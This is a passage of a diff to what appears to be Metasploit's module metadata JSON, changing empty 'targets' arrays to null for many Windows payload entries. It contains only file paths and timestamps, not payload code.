"rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, @@ -92963,9 +90275,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, @@ -92991,9 +90301,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, @@ -93020,9 +90328,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, @@ -93049,9 +90355,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, @@ -93079,9 +90383,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, @@ -93110,9 +90412,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, @@ -93141,9 +90441,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, @@ -93170,9 +90468,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, @@ -93198,9 +90494,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 14:34:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_udp.rb", "is_install_path": true, @@ -93227,9 +90521,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, @@ -93253,9 +90545,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/dns_txt_query_exec.rb", "is_install_path": true, @@ -93279,9 +90569,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/download_exec.rb", "is_install_path": true, @@ -93306,9 +90594,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/exec.rb", "is_install_path": true, @@ -93334,9 +90620,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/format_all_drives.rb", "is_install_path": true, @@ -93361,9 +90645,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/loadlibrary.rb", "is_install_path": true, @@ -93388,9 +90670,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/messagebox.rb", "is_install_path": true, @@ -93419,9 +90699,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, @@ -93450,9 +90728,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, @@ -93480,9 +90756,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, @@ -93510,9 +90784,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -93540,9 +90812,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-27 19:24:51 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, @@ -93570,9 +90840,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, @@ -93600,9 +90868,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, @@ -93632,9 +90898,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, @@ -93662,9 +90926,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, @@ -93691,9 +90953,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, @@ -93723,9 +90983,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb", "is_install_path": true, @@ -93753,9 +91011,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, @@ -93783,9 +91039,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb", "is_install_path": true, @@ -93813,9 +91067,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/windows/reverse_https.rb", "is_install_path": true, @@ -93845,9 +91097,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb", "is_install_path": true, @@ -93875,9 +91125,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, @@ -93904,9 +91152,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-01 03:49:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb", "is_install_path": true, @@ -93934,9 +91180,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, @@ -93964,9 +91208,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, @@ -93994,9 +91236,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, @@ -94024,9 +91264,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, @@ -94055,9 +91293,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, @@ -94087,9 +91323,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, @@ -94119,9 +91353,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, @@ -94149,9 +91381,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, @@ -94179,9 +91409,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 14:34:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_udp.rb", "is_install_path": true, @@ -94210,9 +91438,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, @@ -94241,9 +91467,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttps.rb", "is_install_path": true, @@ -94270,9 +91494,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-11 18:56:50 +0000", "path": "/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb", "is_install_path": true, @@ -94298,9 +91520,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/singles/windows/meterpreter_bind_tcp.rb", "is_install_path": true, @@ -94326,9 +91546,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_http.rb", "is_install_path": true, @@ -94354,9 +91572,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_https.rb", "is_install_path": true, @@ -94382,9 +91598,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb", "is_install_path": true, @@ -94410,9 +91624,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -94436,9 +91648,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/metsvc_bind_tcp.rb", "is_install_path": true, @@ -94462,9 +91672,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/metsvc_reverse_tcp.rb", "is_install_path": true, @@ -94492,9 +91700,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, @@ -94522,9 +91728,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, @@ -94551,9 +91755,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, @@ -94581,9 +91783,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -94609,9 +91809,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-27 19:24:51 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, @@ -94637,9 +91835,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, @@ -94666,9 +91862,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, @@ -94697,9 +91891,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, @@ -94726,9 +91918,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, @@ -94753,9 +91943,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, @@ -94782,9 +91970,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, @@ -94810,9 +91996,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, @@ -94838,9 +92022,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, @@ -94867,9 +92049,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, @@ -94896,9 +92076,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, @@ -94926,9 +92104,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, @@ -94957,9 +92133,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, @@ -94988,9 +92162,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, @@ -95017,9 +92189,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, @@ -95045,9 +92215,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 14:34:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_udp.rb", "is_install_path": true, @@ -95075,9 +92243,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, @@ -95105,9 +92271,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, @@ -95134,9 +92298,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, @@ -95164,9 +92326,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -95192,9 +92352,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-27 19:24:51 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, @@ -95220,9 +92378,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, @@ -95249,9 +92405,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, @@ -95280,9 +92434,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, @@ -95309,9 +92461,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, @@ -95336,9 +92486,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, @@ -95365,9 +92513,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, @@ -95393,9 +92539,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, @@ -95421,9 +92565,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, @@ -95450,9 +92592,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, @@ -95479,9 +92619,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, @@ -95509,9 +92647,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, @@ -95540,9 +92676,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, @@ -95571,9 +92705,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, @@ -95600,9 +92732,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, @@ -95628,9 +92758,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 14:34:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_udp.rb", "is_install_path": true, @@ -95657,9 +92785,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-26 15:03:10 +0000", "path": "/modules/payloads/singles/windows/powershell_bind_tcp.rb", "is_install_path": true, @@ -95686,9 +92812,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-26 15:03:10 +0000", "path": "/modules/payloads/singles/windows/powershell_reverse_tcp.rb", "is_install_path": true, @@ -95716,9 +92840,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, @@ -95746,9 +92868,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, @@ -95775,9 +92895,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, @@ -95805,9 +92923,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -95833,9 +92949,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-27 19:24:51 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, @@ -95861,9 +92975,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, @@ -95890,9 +93002,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, @@ -95921,9 +93031,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, @@ -95950,9 +93058,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, @@ -95978,9 +93084,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, @@ -96007,9 +93111,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, @@ -96035,9 +93137,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, @@ -96062,9 +93162,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, @@ -96091,9 +93189,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, @@ -96120,9 +93216,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, @@ -96150,9 +93244,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, @@ -96181,9 +93273,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, @@ -96212,9 +93302,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, @@ -96241,9 +93329,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 15:10:26 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, @@ -96269,9 +93355,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 14:34:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_udp.rb", "is_install_path": true, @@ -96296,9 +93380,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/shell_bind_tcp.rb", "is_install_path": true, @@ -96322,9 +93404,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb", "is_install_path": true, @@ -96350,9 +93430,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb", "is_install_path": true, @@ -96377,9 +93455,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/shell_reverse_tcp.rb", "is_install_path": true, @@ -96403,9 +93479,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/speak_pwned.rb", "is_install_path": true, @@ -96433,9 +93507,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, 